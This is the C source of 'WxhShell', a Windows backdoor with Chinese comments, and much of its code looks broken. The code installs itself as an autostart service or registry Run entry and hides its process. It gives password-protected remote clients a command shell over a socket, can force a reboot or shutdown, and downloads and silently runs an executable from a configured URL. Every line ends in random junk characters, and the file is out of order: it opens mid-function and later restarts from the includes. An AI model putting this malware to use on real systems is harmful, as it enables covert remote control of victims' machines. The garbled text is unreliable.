    ExitThread(0);  LII4sf]  
    } V4?]NFK  
    break; *5" )3\/  
    } 9,wU[=.0  
  // 关机 1{CVd m<9  
  case 'd': { E(an5x/r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .#Lu/w' -M  
    if(Boot(SHUTDOWN)) X> V`)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A{wSO./3  
    else { _3m\r*(vmQ  
    closesocket(wsh); u/HNXJ7M`9  
    ExitThread(0); e~G um  
    } T:VFyby\w  
    break; Y-P?t+l  
    } g-2(W   
  // 获取shell A~ wVY  
  case 's': { 10..<v7  
    CmdShell(wsh); ~J1UzUxX2  
    closesocket(wsh); +{&++^(}a  
    ExitThread(0); ,Y27uey{wa  
    break; F t;[>o  
  } C <q@C!A  
  // 退出 Z:<6Ck  
  case 'x': { 0 t0m?rVW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e`t-:~'  
    CloseIt(wsh); HA GpM\Qa  
    break; b^&nr[DC  
    } `j(-y`fo  
  // 离开 QR[i9'`<  
  case 'q': { )uH#+IU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Qr]`flQ8  
    closesocket(wsh); f26hB;n  
    WSACleanup(); b,-qyJW6  
    exit(1); S!.H _=z%p  
    break; cp3O$S  
        } W< :7z  
  } J+f*D+x1  
  } (-hGb:  
L%0G >2x  
  // 提示信息 HpR(DG) ?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >vc$3%L[$  
} vUgMfy&  
  } $g]'$PB  
y[I)hSD=  
  return; uxD$dd?  
} o_on/{qz  
I@o42%w2  
// shell模块句柄 4{Af 3N  
int CmdShell(SOCKET sock) :B5M#D!dO  
{ &bT \4  
STARTUPINFO si; QX|y};7\e  
ZeroMemory(&si,sizeof(si)); |lVoL.Z,0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I?Ct@yxhF'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +|TFxaVz  
PROCESS_INFORMATION ProcessInfo; /}#@uC  
char cmdline[]="cmd"; Ig"Qw vR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _jD\kg#LY  
  return 0; 0iTh |K0  
} "P@oO,.  
31k2X81;a  
// 自身启动模式 y#)ad\  
int StartFromService(void) oS Apa  
{ pF}WMt  
typedef struct ><3!J+<?  
{ ])H[>.?K  
  DWORD ExitStatus; [7@9wa1v!  
  DWORD PebBaseAddress; Vs@H>97,G  
  DWORD AffinityMask; F*j0o +B5  
  DWORD BasePriority; w4(g]9^Q  
  ULONG UniqueProcessId; 'fr~1pmx#3  
  ULONG InheritedFromUniqueProcessId; H&E3RU> `  
}   PROCESS_BASIC_INFORMATION; & ( i_s  
s8iB>-dk  
PROCNTQSIP NtQueryInformationProcess; _0EKE  
4g^Xe-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R.$1aqA}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vvmG46IgZ  
[ T!0ka  
  HANDLE             hProcess; }?^5L7n  
  PROCESS_BASIC_INFORMATION pbi; SVJt= M  
8q_"aa,`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )H| cri~D  
  if(NULL == hInst ) return 0; t?;\'  
G"D=ozr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u;3wg`e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =@y ?Np^A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); br4?_,  
|cIv&\ x  
  if (!NtQueryInformationProcess) return 0; cPbAR'  
=Cg1I\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lXOT>$qR<  
  if(!hProcess) return 0; -0f ,qNF  
"#G`F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jSd[  
3+oGR5gIN  
  CloseHandle(hProcess); ]mT2a8`c.r  
!@4 i:,p@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @e:= D  
if(hProcess==NULL) return 0; ~Y3X*  
UWo*%&J  
HMODULE hMod; =:;K nS  
char procName[255]; >vKOG@I  
unsigned long cbNeeded; 8KMo!p\i  
SI, t:=D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %_%Bb Qf  
#6*20w_u  
  CloseHandle(hProcess); o8h` 9_  
UAe8Ct=YJ  
if(strstr(procName,"services")) return 1; // 以服务启动 Ge1b_?L_  
0,5)L\{ R  
  return 0; // 注册表启动 |qz&d=>  
} Y1R?, 5  
TXo`P_SE  
// 主模块 W[<ZI>mf  
int StartWxhshell(LPSTR lpCmdLine) kwUy^"O  
{ <rxtdI"3  
  SOCKET wsl; A~({vb'  
BOOL val=TRUE; %&j \:X~A  
  int port=0; t W}"PKv  
  struct sockaddr_in door; #\Zr$?t|V  
aUk]wiwIR9  
  if(wscfg.ws_autoins) Install(); 7j8lhrM}^  
-car>hQq  
port=atoi(lpCmdLine); mx5#K\  
{"c`k4R  
if(port<=0) port=wscfg.ws_port; nrg$V>pD  
1YN w=  
  WSADATA data; lokKjs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mgMa)yc!dp  
6bN8}\5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3JEg3|M(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \,ne7G21j  
  door.sin_family = AF_INET; K[yP{01  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J`[gE`d  
  door.sin_port = htons(port); iDWM-Ytx  
{krBAz&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V1haAP[#  
closesocket(wsl); 0D Lw  
return 1; d hjX[7Bl9  
} C5g9Gg  
zx5#eMD  
  if(listen(wsl,2) == INVALID_SOCKET) { lffw "  
closesocket(wsl); V*DDU]0k  
return 1;  S~bhh&  
} [&g"Z"  
  Wxhshell(wsl); Q5lt[2Zyzd  
  WSACleanup(); IhRdn1&  
\)?+6D'#  
return 0; Lt ^*L% x  
#Vu;R5GZ}  
} w{ ;Sp?Os  
!_FTy^@c2  
// 以NT服务方式启动 {Fqwr>e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9kh MG$  
{ QQHQ3 \  
DWORD   status = 0; 70'gVCb  
  DWORD   specificError = 0xfffffff; nRvaCAt^  
uW [yNwM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Gu@C* .jj!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {Kf5a m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F 2Y!aR  
  serviceStatus.dwWin32ExitCode     = 0; ':3[?d1Es  
  serviceStatus.dwServiceSpecificExitCode = 0; =?Ui(?tI  
  serviceStatus.dwCheckPoint       = 0; .9N7`  
  serviceStatus.dwWaitHint       = 0; na|sKE;{  
KK6fRtKv>q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7377g'jL  
  if (hServiceStatusHandle==0) return; :%Oz:YxC/  
684d&\(s  
status = GetLastError(); d14n>  
  if (status!=NO_ERROR) a#k7 aOT0  
{ .cHkh^EDY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,@/O\fit)  
    serviceStatus.dwCheckPoint       = 0; 8d2\H*a9~  
    serviceStatus.dwWaitHint       = 0; ]-9w'K d  
    serviceStatus.dwWin32ExitCode     = status; .rITzwgB  
    serviceStatus.dwServiceSpecificExitCode = specificError; -Lu&bVt<>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m"'} {3$%  
    return; $8xb|S[  
  } !^ad{# |X  
-7]j[{?w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M9afg$;.xe  
  serviceStatus.dwCheckPoint       = 0; !n` |k  
  serviceStatus.dwWaitHint       = 0; r @m]#4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hlDB'8  
} Dk>6PBl  
pB#I_?(  
// 处理NT服务事件,比如:启动、停止 :vX%0|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d$ n31F  
{ /`7+Gy<  
switch(fdwControl) <e?Eva%t`  
{ tv.<pP9-C  
case SERVICE_CONTROL_STOP: jz! [#-G  
  serviceStatus.dwWin32ExitCode = 0; TYb$+uY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S<-nlBs.  
  serviceStatus.dwCheckPoint   = 0; ]d-.Mw,'  
  serviceStatus.dwWaitHint     = 0; W7 dSx  
  { Z.u 1Dz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yk)]aqic  
  } `d$@1  
  return; ~!5=o{wy  
case SERVICE_CONTROL_PAUSE: QxdC[t$Lp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w3ni@'X8  
  break; {x.0Yh7  
case SERVICE_CONTROL_CONTINUE: J-Tiwl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IlB8~{p_  
  break; @qan&?-Y  
case SERVICE_CONTROL_INTERROGATE: ?q9] H5\  
  break;  L"%SU  
}; |Ia9bg'1U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CDRbYO  
} uT4|43< G  
$q)YC.5$  
// 标准应用程序主函数 P|bow+4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Mh4MaLw  
{ ;_)~h$1%=  
Leb|YX  
// 获取操作系统版本 1QG q;6\  
OsIsNt=GetOsVer(); y'`/^>.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5EcVW|(  
[i /!ovcY  
  // 从命令行安装 gK`w|kh`  
  if(strpbrk(lpCmdLine,"iI")) Install(); LWT\1#  
LK~aLa5wG  
  // 下载执行文件 , :#bo]3  
if(wscfg.ws_downexe) { ]*\MIz{56'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BZ?Ck[E]Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); GQn:lu3j:  
} d@$| zr6  
v}6iI}r  
if(!OsIsNt) { w,LmAWZ4Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 B5;%R01A  
HideProc(); L^ J|cgmNw  
StartWxhshell(lpCmdLine); M% \ T5  
} uLS]=:BT  
else J8alqs7  
  if(StartFromService()) 4SJ aAeIZ  
  // 以服务方式启动 )N&SrzqTK  
  StartServiceCtrlDispatcher(DispatchTable); 7@fS2mu  
else u^tQ2&?O!P  
  // 普通方式启动 M\C9^DX{  
  StartWxhshell(lpCmdLine); tF`L]1r>  
iY,C0=n5Y  
return 0; h#hr'3bI1  
} Nh.+woFq4  
6:#o0OeBP  
{fR\yWkt?  
9:USxFM  
=========================================== ?ZlXh51  
;\mX=S|a  
5qtk#FB  
x|rc[e%k  
;`78h?`  
kg7F8($  
" c`!e#w  
i-OD"5a`  
#include <stdio.h> Jw;~$  
#include <string.h> 4^L;]v,|7  
#include <windows.h> u /F!8#  
#include <winsock2.h>  pux IJ  
#include <winsvc.h> ?}cmES kX@  
#include <urlmon.h> -qIi.]/f"9  
F}_b7 |^  
#pragma comment (lib, "Ws2_32.lib") oe|#!SM(  
#pragma comment (lib, "urlmon.lib") 6!m#;8 4  
5~[7|Y  
#define MAX_USER   100 // 最大客户端连接数 f8:nKb>nq$  
#define BUF_SOCK   200 // sock buffer .uJ J<  
#define KEY_BUFF   255 // 输入 buffer @Lnv  
9p W~Gz  
#define REBOOT     0   // 重启 X9m^i2tk  
#define SHUTDOWN   1   // 关机 H -Mb:4  
>3uNh:|>/  
#define DEF_PORT   5000 // 监听端口 N#T'}>ty  
u9hd%}9Qd?  
#define REG_LEN     16   // 注册表键长度 s:3[#&PQpN  
#define SVC_LEN     80   // NT服务名长度 M&V'*.xz  
|(>`qL{|  
// 从dll定义API )zr*Ecz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [Yt{h9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z}+}X|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qIi \[Ugh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a2Ak?W1  
A & iv  
// wxhshell配置信息 xe!bfzU  
struct WSCFG { :wC\IwG~CE  
  int ws_port;         // 监听端口 Y2r}W3F=  
  char ws_passstr[REG_LEN]; // 口令 <YaTr9%w  
  int ws_autoins;       // 安装标记, 1=yes 0=no ybBmg'198  
  char ws_regname[REG_LEN]; // 注册表键名 vjS`;^9  
  char ws_svcname[REG_LEN]; // 服务名 ZxF`i>/h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eY<<Hld  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  q+L'h8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )5}<@Ql  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ukiWNF/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ! ?g+'OM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :21d  
A=N$5ZJ  
}; +{:uPY#1  
7f>=-sv  
// default Wxhshell configuration *ub2dH4/  
struct WSCFG wscfg={DEF_PORT, m;@q('O  
    "xuhuanlingzhe", E8PDIjp  
    1, 6("_}9ZOc  
    "Wxhshell", )2[)11J9t  
    "Wxhshell", n28JWkK8  
            "WxhShell Service", p'R<yB)V  
    "Wrsky Windows CmdShell Service", I"Zp^j  
    "Please Input Your Password: ", \&Yn)|!  
  1, h4;kjr}h}  
  "http://www.wrsky.com/wxhshell.exe", .&^p@A~  
  "Wxhshell.exe" ~5KcbGD~  
    }; Z8SwW<{ $  
| b'Ut)E  
// 消息定义模块 6<lo0PQ"Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q'mh*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !..<_qfw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MmT/J1zM  
char *msg_ws_ext="\n\rExit."; eEZgG=s  
char *msg_ws_end="\n\rQuit."; K%z!#RyJ4  
char *msg_ws_boot="\n\rReboot..."; 8b/$Qp4d  
char *msg_ws_poff="\n\rShutdown..."; TLwxP"  
char *msg_ws_down="\n\rSave to "; 2"ax*MQH<^  
tsb[=W!Ar8  
char *msg_ws_err="\n\rErr!"; (nqry[g&  
char *msg_ws_ok="\n\rOK!"; $+4DpqJ  
kdNo<x1o  
char ExeFile[MAX_PATH]; Y1PR?c Q  
int nUser = 0; &L8RLSfX  
HANDLE handles[MAX_USER]; s=8H< 'l  
int OsIsNt; -XBZ1q  
'09|Y#F  
SERVICE_STATUS       serviceStatus; bmG`:_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ` Ig5*X4|  
g>/Y}{sL-  
// 函数声明 h@%Xy(/m'  
int Install(void); F-m%d@P&X  
int Uninstall(void); YmV/[{  
int DownloadFile(char *sURL, SOCKET wsh); NUsxMhP  
int Boot(int flag); digc7;8L  
void HideProc(void); &_L@hsm  
int GetOsVer(void); @)Vpj\jM-C  
int Wxhshell(SOCKET wsl); w#.3na  
void TalkWithClient(void *cs); x3O%W?5  
int CmdShell(SOCKET sock); # -'A =j  
int StartFromService(void); ('&lAn  
int StartWxhshell(LPSTR lpCmdLine); B!RfPk1B<*  
-`L`kL<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m\>gOTpA4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "| '~y}v_  
Olzw)WjG  
// 数据结构和表定义 !#0)`4O  
SERVICE_TABLE_ENTRY DispatchTable[] = xFu ,e  
{ r^ r+h[V  
{wscfg.ws_svcname, NTServiceMain}, owNwj  
{NULL, NULL} YSnh2 Bq  
}; %2 r ~  
Myc-lCE  
// 自我安装 t&U9Z$LS  
int Install(void) 8Ths"zwn  
{ lNe4e6  
  char svExeFile[MAX_PATH]; Y:\msq1xp  
  HKEY key; LW1 4 'A}  
  strcpy(svExeFile,ExeFile); s<k[<  
FvsVfV U  
// 如果是win9x系统,修改注册表设为自启动 k{*EoV[.$  
if(!OsIsNt) { 4  %0s p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uaIAVBRcS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u&~Xgq5[  
  RegCloseKey(key); <'=!f6Wh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e r3M vw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NO5k1/-  
  RegCloseKey(key); 9^*RK6  
  return 0; +`>7cy%cZ  
    } uda++^y:  
  } *;Kp"j  
} J^8j|%h%e  
else { >DRxF5b{  
5o6IpF 0V  
// 如果是NT以上系统,安装为系统服务 Cmx<>7fN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O*N:A[eW  
if (schSCManager!=0) 6mcb'hy  
{ )G48,. "  
  SC_HANDLE schService = CreateService SQ) BS/8A  
  ( INnd TF  
  schSCManager, hj];a,Br&  
  wscfg.ws_svcname, j~'.XD={  
  wscfg.ws_svcdisp, G 2`YZ\  
  SERVICE_ALL_ACCESS, H&s`Xr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ykQb;ZP8jh  
  SERVICE_AUTO_START, }Y-V!z5z!  
  SERVICE_ERROR_NORMAL, A f`Kg-c_(  
  svExeFile, SkDr4kds  
  NULL, nWK8.&{.  
  NULL, Jxl'!8t  
  NULL, NVzo)C8kb  
  NULL, IJf%OA>v  
  NULL HQ+{9Z8 ?5  
  ); 4 QQt 0u0  
  if (schService!=0) fTEZ@#p  
  { +"84.PZ  
  CloseServiceHandle(schService); !w7/G  
  CloseServiceHandle(schSCManager); mc]+j,d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D:k< , {  
  strcat(svExeFile,wscfg.ws_svcname); 1e\cJ{B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,X/j6\VBO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IYn`&jS{  
  RegCloseKey(key); Pz50etJ  
  return 0; M[I=N  
    } g:uVl;>  
  } 6zM:p/  
  CloseServiceHandle(schSCManager); &wi+)d  
} 23CvfP  
} !v2/sq$G  
|2'WSAWG  
return 1; huqtk4u  
} ^.J_w  
u""26k51  
// 自我卸载 ^m7y=CJM  
int Uninstall(void) TJYhgna  
{ <Ve0PhK  
  HKEY key; u'? +JUd1  
1*A^v  
if(!OsIsNt) { l4DBGZB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zgFL/a<  
  RegDeleteValue(key,wscfg.ws_regname); 9ug4p']  
  RegCloseKey(key); ((Av3{05H&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \asn^V@"zz  
  RegDeleteValue(key,wscfg.ws_regname); l!gX-U%-  
  RegCloseKey(key); VMABj\yG  
  return 0; `BZ|[ q3  
  } gjsks(x  
} iUz?mt;k  
} ok6t| 7sq  
else { ZeG4z({af  
0J?443A Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b7hICO-w  
if (schSCManager!=0) PM!JjMeQh  
{ %V;* E]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nYyKz Rz  
  if (schService!=0) ##By!F TP  
  { B _ J2Bf  
  if(DeleteService(schService)!=0) { PkFG0  
  CloseServiceHandle(schService); @D[+@N  
  CloseServiceHandle(schSCManager); PP! /WX  
  return 0; j#3IF *"  
  } ADF<5#I  
  CloseServiceHandle(schService);  !'!\>x$  
  } #e=E  
  CloseServiceHandle(schSCManager); #-b}QhxH  
} PE;<0Cz\  
} p%iZ6H>G  
LRw-I.z  
return 1; |L89yjhWBs  
} A;X3z-[[  
jHob{3  
// 从指定url下载文件 VI|2vV6?  
int DownloadFile(char *sURL, SOCKET wsh) Uo9@Y{<B  
{ @ o<O I  
  HRESULT hr; [g`4$_9S  
char seps[]= "/"; %<+Ku11  
char *token; c0l?+:0M  
char *file; HoX={^aG%  
char myURL[MAX_PATH]; S -,$ (  
char myFILE[MAX_PATH]; f/z]kfgw  
>mtwXmI  
strcpy(myURL,sURL); Zqf ovG  
  token=strtok(myURL,seps); F<iV;+  
  while(token!=NULL) ajG_t  
  { !yi*Zt~  
    file=token; Ve9) ?=!  
  token=strtok(NULL,seps); %<8?$-[  
  } mYfHBW:  
OW6dK #CFt  
GetCurrentDirectory(MAX_PATH,myFILE); ~233{vh$=>  
strcat(myFILE, "\\"); Bx)!I]gi_  
strcat(myFILE, file); (I6Q"&h]  
  send(wsh,myFILE,strlen(myFILE),0); NZG ^B/  
send(wsh,"...",3,0); |F\fdB}?S:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U:@tdH+A7  
  if(hr==S_OK) jT]R"U/Q  
return 0; yXIJeo"  
else j"Ew)6j  
return 1; ^} Y}Iz  
%S`Wu|y  
} [j TU nP  
?.-+U~  
// 系统电源模块 KbciRRf!k  
int Boot(int flag) ~Hd *Xl  
{ g/FT6+&T.  
  HANDLE hToken; Kc@Sw{JR#7  
  TOKEN_PRIVILEGES tkp; zRgGSxn  
ZmkH55Cn  
  if(OsIsNt) { FWp ?l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t@ri`?0w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F_ -Xx"  
    tkp.PrivilegeCount = 1; 1Ke9H!_P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dEI!r1~n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *>:<  
if(flag==REBOOT) { yK"HHdYTV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "9X!Ewm"P  
  return 0; vqVwo\oEdU  
} RH7!3ye  
else { zFDtC-GF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RZVZ#q(DU  
  return 0; B@z ng2[  
} a*&&6Fo  
  } tCRsaDK>  
  else { A"qDc  
if(flag==REBOOT) { ^R :zma  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "E4CQL'U  
  return 0; T#:b  
} F.@|-wq&  
else { ;gAL_/_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B7Zi|-F  
  return 0; +~:OUR*>  
} b&Laxki  
} 2dB]Lw@s  
K:VZ#U(_  
return 1; h3GUFiZ.  
} zmu+un"\j  
u|\?6fz  
// win9x进程隐藏模块 \J#&]o)Y  
void HideProc(void) ;;C2t&(  
{ uvR l`"Y  
*c%{b3T_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Hj`\Fm*A  
  if ( hKernel != NULL ) cdGBo4  
  {  V_e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RU/SJ1wM"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I#]pk!  
    FreeLibrary(hKernel); ]Nssn\X7  
  } ; bHS^  
QX&Y6CC`]  
return; 0DnOO0Nc  
} zN)).a  
Ek_<2!%X  
// 获取操作系统版本 '-XO;{,-R  
int GetOsVer(void) C CLc,r>)  
{ UUvCi+W  
  OSVERSIONINFO winfo; bVa?yWb.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .kkhW8:  
  GetVersionEx(&winfo); 6]?W&r|0I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |TQ4:P1T  
  return 1; mQSn*;9\T3  
  else ~J#Z7y]p!j  
  return 0;  M_%c9g@x  
} z yp3 +|  
iweT @P`  
// 客户端句柄模块 XWNo)#_3  
int Wxhshell(SOCKET wsl) 2AMb-&po&f  
{ QctzIC#;k  
  SOCKET wsh; 8\C][ y  
  struct sockaddr_in client; MZWv#;.]  
  DWORD myID; <c<!|<x  
mH\2XG8nV  
  while(nUser<MAX_USER) 2}* 8( 32  
{ xoGrXt9&  
  int nSize=sizeof(client); ] O~$|Wk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [~G1Rz\h  
  if(wsh==INVALID_SOCKET) return 1; vl+bc[ i~  
L(k`1E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =:6B`,~C  
if(handles[nUser]==0) u]`0QxvZ  
  closesocket(wsh); `ueOb  
else je3Qq1  
  nUser++; tJ8:S@E3,  
  } $b7@S`5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); })?-)fFD  
S,avvY.U\  
  return 0; {gD`yoPrV  
} q"S,<I<f  
lF40n4}  
// 关闭 socket 9`"#OQPn1  
void CloseIt(SOCKET wsh) B[#n,ay  
{ W:9l"'  
closesocket(wsh); AGO"),  
nUser--; V,8Z!.MG  
ExitThread(0); :>_oOn[_  
} Y%|dM/a`  
[7LdTY"Tl  
// 客户端请求句柄 D,lY_6=  
void TalkWithClient(void *cs) 5Fj9.K~k  
{ 4}UJ Bb?  
F0r2=f(?  
  SOCKET wsh=(SOCKET)cs; X8R:9q_  
  char pwd[SVC_LEN]; agkKm?xIL  
  char cmd[KEY_BUFF]; 7|_2@4-W6  
char chr[1]; 3-1a+7fD  
int i,j; !;d>}iE   
rO{?.#~  
  while (nUser < MAX_USER) { 8Z "f"  
v9KsE2Ei  
if(wscfg.ws_passstr) { :)T*:51{#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8K8jz9.s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cnw+^8  
  //ZeroMemory(pwd,KEY_BUFF); ?Pf#~U_  
      i=0; c9c3o{(6Y  
  while(i<SVC_LEN) { "!eq~/nk  
`CBXz!v!O  
  // 设置超时 o61rTj  
  fd_set FdRead; fgC@(dvfk  
  struct timeval TimeOut; D/;[x{;E  
  FD_ZERO(&FdRead); YTTi j|(  
  FD_SET(wsh,&FdRead); G-R83Orl  
  TimeOut.tv_sec=8; bu $u@:q 6  
  TimeOut.tv_usec=0; Zg>]!^X8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J~oxqw}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2dHsM'ze  
x'OP0],#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); * {~`Lw)y  
  pwd=chr[0]; C+%eT&OO  
  if(chr[0]==0xd || chr[0]==0xa) { [?qzMFb  
  pwd=0; [kckE-y  
  break; `R7dn/  
  } X?&{< vz  
  i++; _6`GHx   
    } 'iOa j0f  
v"mZy,u  
  // 如果是非法用户,关闭 socket s1#A0%gx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bKzG5|Qu  
} D&G?Klq  
Uq{$j5p8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @#-\ BQ;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -Lb7=98  
i: jB  
while(1) { Dsc0 ;7~6  
njO~^Hl7  
  ZeroMemory(cmd,KEY_BUFF); G!G:YVWXP  
:2/ jI:L~  
      // 自动支持客户端 telnet标准   .}Ys+d1b9c  
  j=0; uqa pj("  
  while(j<KEY_BUFF) { GRVF/hPn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bhbTloCR  
  cmd[j]=chr[0]; %;= ?r*]  
  if(chr[0]==0xa || chr[0]==0xd) { FKL@,>!<e  
  cmd[j]=0; wPu.hVz  
  break; v;Q*0%~  
  } ;(;~yB|NZ5  
  j++; Doq}UWp  
    } KhX)maQ  
fE&s 6w&  
  // 下载文件 Dv` "3  
  if(strstr(cmd,"http://")) { }aI>dHL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P/^@t+KC  
